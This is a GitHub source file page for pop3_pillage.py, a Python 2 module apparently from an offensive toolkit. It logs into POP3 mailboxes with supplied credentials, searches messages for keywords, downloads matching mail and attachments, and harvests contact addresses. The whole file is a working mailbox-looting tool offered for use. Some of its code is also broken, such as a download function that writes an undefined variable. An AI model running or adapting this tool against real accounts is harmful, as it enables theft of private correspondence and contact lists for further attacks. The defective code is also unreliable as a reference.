-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathpop3_pillage.py
205 lines (160 loc) · 6.07 KB
/
pop3_pillage.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#! /usr/bin/python
import email.parser
import imaplib
import os
import poplib
import re
import ssl
from threading import Thread
from modules.pillager import Pillager
from core.utils import Utils
# -----------------------------------------------------------------------------
# POP3 subclass of Pillager Class
# -----------------------------------------------------------------------------
class POP3(Pillager):
def __init__(self):
Pillager.__init__(self)
self.msg_list = None
def connect(self, config):
self.config = config
try:
self.srv = poplib.POP3(self.config["server"], self.config["serverport"])
except:
self.srv = None
pass
def disconnect(self):
if (self.srv):
self.srv.quit()
def validate(self, user, password):
if (not self.srv):
return
self.user = user
self.password = password
try:
self.srv.user(self.user)
self.srv.pass_(self.password)
except poplib.error_proto as e:
return False
return True
def searchMessageBodies(self, term=None):
if (not self.srv):
return []
if (not term):
return []
self.getMessages()
matched = []
i = 1
for (server_msg, body, octets) in self.msg_list:
body = '\n'.join(body)
for search_term in term:
if re.search(search_term, body, re.IGNORECASE):
print "MATCHED ON [%s]" % (search_term)
if not i in matched:
matched.append(i)
i = i + 1
return matched
def searchMessageSubjects(self, term=None):
if (not self.srv):
return []
if (not term):
return []
self.getMessages()
matched = []
i = 1
for (server_msg, body, octets) in self.msg_list:
msg = email.message_from_string('\n'.join(body))
for search_term in term:
if re.search(search_term, msg['subject'], re.IGNORECASE):
print "MATCHED ON [%s]" % (search_term)
if not i in matched:
matched.append(i)
i = i + 1
return matched
def searchMessageAttachments(self, term=None):
if (not self.srv):
return []
if (not term):
return []
self.getMessages()
matched = []
i = 1
for (server_msg, body, octets) in self.msg_list:
msg = email.message_from_string('\n'.join(body))
# save attach
for part in msg.walk():
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
filename = part.get_filename()
if not (filename):
continue
for search_term in term:
if re.search(search_term, filename, re.IGNORECASE):
print "MATCHED ON [%s]" % (search_term)
if not i in matched:
matched.append(i)
i = i + 1
return matched
def downloadMessage(self, messageid=None):
if (not self.srv):
return
if messageid:
(server_msg, body, octets) = self.srv.retr(messageid)
filename = self.user + "_" + str(messageid)
file_path = os.path.join(self.config["outdir"], filename)
print "Downloading message id [%s] to [%s]" % (messageid, file_path)
Utils.writeFile(email_body, file_path)
return None
def downloadAttachment(self, messageid=None):
if (not self.srv):
return
if (not messageid):
return
(server_msg, body, octets) = self.srv.retr(messageid)
msg = email.message_from_string('\n'.join(body))
# save attach
for part in msg.walk():
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
filename = part.get_filename()
if not (filename):
continue
file_path = os.path.join(self.config["outdir"], filename)
print "Downloading attachment [%s] to [%s]" % (messageid, file_path)
Utils.writeFile(part.get_payload(decode=True), file_path, "wb")
return None
def scrapeContacts(self):
if (not self.srv):
return
self.getMessages()
contacts = []
for (server_msg, body, octets) in self.msg_list:
mail = email.message_from_string('\n'.join(body))
for part in mail.walk():
fromaddr = part['from']
if (fromaddr):
sender = part['from'].split()[-1]
address = re.sub(r'[<>]', '', sender)
# Ignore any occurences of own email address and add to list
if not re.search(r'' + re.escape(self.user), address) and not address in contacts:
contacts.append(address)
print "IDENTIFED new contact [%s]" % (address)
return contacts
def getXsubjects(self, num=10):
if (not self.srv):
return
self.getMessages()
for (server_msg, body, octets) in self.msg_list:
msg2 = email.message_from_string('\n'.join(body))
print "[%s] -> [%s]" % (msg2['from'], msg2['subject'])
def getMessages(self):
if (not self.srv):
return
if (not self.msg_list):
(numMsgs, totalSize) = self.srv.stat()
self.msg_list = []
for i in range(numMsgs):
self.msg_list.append(self.srv.retr(i + 1))